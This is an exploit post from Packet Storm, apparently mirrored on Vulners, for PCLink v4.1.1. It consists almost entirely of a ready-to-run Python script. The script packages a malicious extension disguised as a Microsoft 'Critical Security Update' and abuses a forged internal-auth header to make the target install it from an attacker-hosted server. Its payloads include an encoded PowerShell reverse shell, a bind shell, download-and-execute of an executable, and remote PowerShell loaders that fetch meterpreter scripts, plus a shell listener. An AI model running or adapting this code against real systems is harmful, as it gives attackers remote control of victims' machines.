Lucene search
K

📄 PCLink 4.1.1 Insecure Extension Installation

🗓️ 07 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 8 Views

PCLink v4.1.1 insecure extension installation may enable remote code execution via a local server.

Code
==================================================================================================================================
    | # Title     : PCLink v4.1.1 – Insecure Extension Installation and Potential Remote Code Execution                              |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/BYTEDz/PCLink                                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : a vulnerable configuration in PCLink v4.1.1 could potentially be abused to install unauthorized extensions. 
                     The script automates the creation of an extension package, hosts it through a local HTTP server, and sends requests to the target application to trigger the extension installation process.
    				 
    [+] POC        : 
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import sys
    import os
    import time
    import zipfile
    import tempfile
    import shutil
    import argparse
    import base64
    import threading
    import socket
    import http.server
    import socketserver
    from pathlib import Path
    
    class PCLinkExploit:
        def __init__(self, target_host="127.0.0.1", target_port=38080, ssl=True, 
                     attacker_host=None, http_port=8000, reverse_port=4444):
            """
            Initialize PCLink exploit
            """
            self.target_host = target_host
            self.target_port = target_port
            self.ssl = ssl
            self.attacker_host = attacker_host or self.get_local_ip()
            self.http_port = http_port
            self.reverse_port = reverse_port
            self.protocol = "https" if ssl else "http"
            self.base_url = f"{self.protocol}://{target_host}:{target_port}"
            self.headers = {
                "X-Internal-Auth": "true",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
            }
            self.http_server = None
            self.zip_path = None
            self.extension_dir = None
            
        def get_local_ip(self):
            """Get local IP address"""
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                s.connect(("8.8.8.8", 80))
                ip = s.getsockname()[0]
                s.close()
                return ip
            except:
                return "127.0.0.1"
        
        def create_malicious_extension(self, payload_type="cmd", command=None, 
                                       reverse_ip=None, reverse_port=None, bind_port=4444, download_url=None):
            """
            Create malicious PCLink extension
            """
            print("[*] Creating malicious extension...")
            self.extension_dir = tempfile.mkdtemp()
    
            if payload_type == "cmd":
                main_content = self.create_cmd_payload(command)
            elif payload_type == "reverse_shell":
                main_content = self.create_reverse_shell(reverse_ip, reverse_port)
            elif payload_type == "bind_shell":
                main_content = self.create_bind_shell(bind_port)
            elif payload_type == "download_execute":
                main_content = self.create_download_execute(download_url)
            elif payload_type == "meterpreter":
                main_content = self.create_meterpreter_payload(reverse_ip, reverse_port)
            elif payload_type == "powershell_ep":
                main_content = self.create_powershell_ep(reverse_ip, reverse_port)
            else:
                main_content = self.create_cmd_payload(command)
    
            extension_yaml = """id: pwn_{timestamp}
    name: System Update
    display_name: Critical Security Update
    description: This update addresses critical security vulnerabilities
    author: Microsoft Corporation
    version: 1.0.0
    pclink_version: 4.1.1
    entry_point: main.py
    """
            yaml_path = os.path.join(self.extension_dir, "extension.yaml")
            main_path = os.path.join(self.extension_dir, "main.py")
            
            with open(yaml_path, "w") as f:
                f.write(extension_yaml.format(timestamp=int(time.time())))
            
            with open(main_path, "w") as f:
                f.write(main_content)
    
            self.zip_path = os.path.join(tempfile.gettempdir(), f"pwn_{int(time.time())}.zip")
            with zipfile.ZipFile(self.zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
                zipf.write(yaml_path, "extension.yaml")
                zipf.write(main_path, "main.py")
            
            print(f"[+] Extension created: {self.zip_path}")
            return self.zip_path
        
        def create_cmd_payload(self, command=None):
            if not command:
                command = "echo PCLink PWNED! && whoami && hostname"
            
            return f'''import subprocess
    class Extension:
        def __init__(self, metadata=None, **kwargs):
            CREATE_NEW_CONSOLE = 0x00000010
            try:
                subprocess.Popen(['cmd.exe', '/c', {repr(command)}], creationflags=CREATE_NEW_CONSOLE, shell=True)
            except:
                pass
        def on_load(self): return True
        def on_unload(self): return True
    '''
        
        def create_reverse_shell(self, reverse_ip=None, reverse_port=None):
            ip = reverse_ip or self.attacker_host
            port = reverse_port or self.reverse_port
            
            ps_reverse = f'''
    $client = New-Object System.Net.Sockets.TCPClient('{ip}',{port});
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|%{{0}};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush()
    }};
    $client.Close()
    '''
            encoded = base64.b64encode(ps_reverse.encode('utf-16le')).decode('ascii')
            
            return f'''import subprocess
    class Extension:
        def __init__(self, metadata=None, **kwargs):
            CREATE_NEW_CONSOLE = 0x00000010
            powershell_cmd = f"powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc {encoded}"
            try:
                subprocess.Popen(['cmd.exe', '/c', powershell_cmd], creationflags=CREATE_NEW_CONSOLE, shell=True)
            except:
                pass
        def on_load(self): return True
        def on_unload(self): return True
    '''
        
        def create_bind_shell(self, bind_port=4444):
            return f'''import subprocess
    import socket
    import threading
    class Extension:
        def __init__(self, metadata=None, **kwargs):
            threading.Thread(target=self.bind_shell, daemon=True).start()
        
        def bind_shell(self):
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.bind(('0.0.0.0', {bind_port}))
            s.listen(1)
            try:
                conn, addr = s.accept()
                while True:
                    data = conn.recv(1024)
                    if not data: break
                    proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    stdout, stderr = proc.communicate()
                    conn.send(stdout + stderr)
                conn.close()
            except:
                pass
        def on_load(self): return True
        def on_unload(self): return True
    '''
        
        def create_download_execute(self, download_url=None):
            if not download_url:
                download_url = f"http://{self.attacker_host}:{self.http_port}/payload.exe"
            
            return f'''import subprocess
    import urllib.request
    import os
    class Extension:
        def __init__(self, metadata=None, **kwargs):
            try:
                target_path = os.path.join(os.environ.get('TEMP', 'C:\\\\Windows\\\\Temp'), 'payload.exe')
                urllib.request.urlretrieve('{download_url}', target_path)
                subprocess.Popen([target_path], creationflags=0x00000010)
            except:
                pass
        def on_load(self): return True
        def on_unload(self): return True
    '''
        
        def create_meterpreter_payload(self, reverse_ip=None, reverse_port=None):
            ip = reverse_ip or self.attacker_host
            port = reverse_port or self.reverse_port
            return f'''import subprocess
    class Extension:
        def __init__(self, metadata=None, **kwargs):
            ps_cmd = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \\"IEX (New-Object Net.WebClient).DownloadString('http://{ip}:{port}/meterpreter.ps1')\\""
            try: subprocess.Popen(['cmd.exe', '/c', ps_cmd], creationflags=0x00000010, shell=True)
            except: pass
        def on_load(self): return True
        def on_unload(self): return True
    '''
    
        def create_powershell_ep(self, reverse_ip=None, reverse_port=None):
            ip = reverse_ip or self.attacker_host
            port = reverse_port or self.reverse_port
            return f'''import subprocess
    class Extension:
        def __init__(self, metadata=None, **kwargs):
            ps_launcher = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \\"$WC=New-Object System.Net.WebClient;$WC.DownloadString('http://{ip}:{port}/launcher.ps1') | IEX\\""
            try: subprocess.Popen(['cmd.exe', '/c', ps_launcher], creationflags=0x00000010, shell=True)
            except: pass
        def on_load(self): return True
        def on_unload(self): return True
    '''
    
        def start_http_server(self):
            """Start HTTP server to host malicious extension"""
            print(f"[*] Starting HTTP server on port {self.http_port}")
            
            self.old_cwd = os.getcwd()
            os.chdir(tempfile.gettempdir())
            
            handler = http.server.SimpleHTTPRequestHandler
            try:
                self.http_server = socketserver.TCPServer(("0.0.0.0", self.http_port), handler)
                thread = threading.Thread(target=self.http_server.serve_forever)
                thread.daemon = True
                thread.start()
                print(f"[+] HTTP server running at http://{self.attacker_host}:{self.http_port}")
                return True
            except Exception as e:
                print(f"[-] Failed to start HTTP server: {e}")
                os.chdir(self.old_cwd)
                return False
        
        def stop_http_server(self):
            if self.http_server:
                self.http_server.shutdown()
                self.http_server.server_close()
                print("[*] HTTP server stopped")
        
        def install_extension(self, extension_url=None):
            if not extension_url:
                extension_url = f"http://{self.attacker_host}:{self.http_port}/{os.path.basename(self.zip_path)}"
            
            install_endpoint = f"{self.base_url}/ui/extensions/install/url"
            print(f"[*] Installing extension from: {extension_url}")
    
            verify_ssl = False 
            
            try:
                response = requests.post(
                    install_endpoint,
                    params={"url": extension_url},
                    headers=self.headers,
                    verify=verify_ssl,
                    timeout=30
                )
                print(f"[*] Response Status: {response.status_code}")
                if response.status_code == 200:
                    print("[+] Extension installed successfully!")
                    return True
                else:
                    print(f"[-] Installation failed: {response.status_code}")
                    return False
            except Exception as e:
                print(f"[-] Error installing extension: {e}")
                return False
        
        def list_extensions(self):
            list_endpoint = f"{self.base_url}/ui/extensions"
            try:
                response = requests.get(list_endpoint, headers=self.headers, verify=False, timeout=10)
                if response.status_code == 200:
                    print("[+] Installed extensions:")
                    print(json.dumps(response.json(), indent=2))
                    return response.json()
            except Exception as e:
                print(f"[-] Error listing extensions: {e}")
            return None
        
        def uninstall_extension(self, extension_id):
            uninstall_endpoint = f"{self.base_url}/ui/extensions/{extension_id}"
            try:
                response = requests.delete(uninstall_endpoint, headers=self.headers, verify=False, timeout=10)
                if response.status_code == 200:
                    print(f"[+] Extension '{extension_id}' uninstalled")
                    return True
            except Exception as e:
                print(f"[-] Error uninstalling: {e}")
            return False
        
        def cleanup(self):
            if self.zip_path and os.path.exists(self.zip_path):
                try: os.remove(self.zip_path)
                except: pass
            if self.extension_dir and os.path.exists(self.extension_dir):
                try: shutil.rmtree(self.extension_dir)
                except: pass
    
    
    class ReverseShellHandler:
        """Correcting the listener's logic to be properly interactive via the command line"""
        @staticmethod
        def start_listener(port):
            print(f"[*] Starting reverse shell listener on port {port}")
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            try:
                server.bind(('0.0.0.0', port))
                server.listen(1)
                conn, addr = server.accept()
                print(f"[+] Connection established from {addr}")
                
                while True:
                    cmd = input("Shell> ")
                    if cmd.lower() in ['exit', 'quit']:
                        break
                    if not cmd.strip():
                        continue
                    conn.send(cmd.encode() + b"\n")
                    time.sleep(0.5)
                    sys.stdout.write(conn.recv(4096).decode(errors='ignore'))
                conn.close()
            except Exception as e:
                print(f"[-] Listener error: {e}")
            finally:
                server.close()
    def main():
        parser = argparse.ArgumentParser(description='PCLink v4.1.1 - Code Review Fix')
        parser.add_argument('-t', '--target', default='127.0.0.1')
        parser.add_argument('-p', '--port', type=int, default=38080)
        parser.add_argument('--no-ssl', action='store_true')
        parser.add_argument('-c', '--command')
        parser.add_argument('--payload-type', choices=['cmd', 'reverse_shell', 'bind_shell','download_execute', 'meterpreter', 'powershell_ep'], default='cmd')
        parser.add_argument('--reverse-shell', action='store_true')
        parser.add_argument('--bind-port', type=int, default=4444)
        parser.add_argument('--lhost')
        parser.add_argument('--lport', type=int, default=4444)
        parser.add_argument('--http-port', type=int, default=8000)
        parser.add_argument('--download-execute')
        parser.add_argument('--list-extensions', action='store_true')
        parser.add_argument('--uninstall')
        parser.add_argument('--extension-url')
        parser.add_argument('--no-cleanup', action='store_true')
        
        args = parser.parse_args()
        exploit = PCLinkExploit(
            target_host=args.target,
            target_port=args.port,
            ssl=not args.no_ssl,
            attacker_host=args.lhost,
            http_port=args.http_port,
            reverse_port=args.lport
        )
        
        if args.list_extensions:
            exploit.list_extensions()
            sys.exit(0)
            
        if args.uninstall:
            exploit.uninstall_extension(args.uninstall)
            sys.exit(0)
            
        if args.reverse_shell or args.payload_type == 'reverse_shell':
            listener_thread = threading.Thread(target=ReverseShellHandler.start_listener, args=(args.lport,))
            listener_thread.daemon = True
            listener_thread.start()
            time.sleep(1)
    
        if args.payload_type == 'cmd':
            command = args.command or "echo PCLink PWNED!"
            exploit.create_malicious_extension(payload_type='cmd', command=command)
        elif args.payload_type == 'reverse_shell':
            exploit.create_malicious_extension(payload_type='reverse_shell', reverse_ip=args.lhost, reverse_port=args.lport)
        elif args.payload_type == 'bind_shell':
            exploit.create_malicious_extension(payload_type='bind_shell', bind_port=args.bind_port)
        elif args.payload_type == 'download_execute':
            exploit.create_malicious_extension(payload_type='download_execute', download_url=args.download_execute)
        else:
            exploit.create_malicious_extension(payload_type=args.payload_type, reverse_ip=args.lhost, reverse_port=args.lport)
        exploit.start_http_server()
        time.sleep(1)
        
        print("\n[*] Attempting to install extension...")
        success = exploit.install_extension(args.extension_url)
        
        if success:
            if args.payload_type == 'bind_shell':
                print(f"[*] Connect via: nc {args.target} {args.bind_port}")
            
            try:
                while True: time.sleep(1)
            except KeyboardInterrupt:
                print("\n[*] Shutting down...")
                
        if not args.no_cleanup:
            exploit.stop_http_server()
            exploit.cleanup()
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
8